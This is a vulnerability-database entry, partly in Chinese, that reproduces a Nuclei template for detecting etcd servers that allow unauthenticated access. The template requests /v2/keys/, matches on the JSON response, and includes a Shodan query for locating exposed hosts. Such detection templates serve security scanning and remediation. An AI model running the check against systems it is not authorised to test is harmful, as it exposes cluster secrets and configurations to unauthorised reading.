unauth-etcd-server: Etcd Server - Unauthenticated Access

日期: 2025-08-01 | 影响软件: etcd server | POC: 已公开

漏洞描述

A Kubernetes etcd server stores the cluster secrets and configurations files. Anonymous access on etcd allows unauthenticated access the data without providing any authentication credentials.

PoC代码[已公开]

id: unauth-etcd-server

info:
  name: Etcd Server - Unauthenticated Access
  author: sharath,pussycat0x
  severity: high
  description: |
    A Kubernetes etcd server stores the cluster secrets and configurations files. Anonymous access on etcd allows unauthenticated access the data without providing any authentication credentials.
  remediation: https://etcd.io/docs/v2.3/authentication
  reference:
    - https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"etcd"
  tags: tech,k8s,kubernetes,devops,etcd,unauth,anonymous,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/v2/keys/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"node":'
          - '"key":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ffbf7bfbf8887f05e63d9078aaf8f3dacd503a9978ca06930b9ba3d2ad7ea50022100bff324f620737f371c1435c92497c5868c2e9c9c5725372f81a44591f2698da6:922c64590222798bb761d5b6d8e72950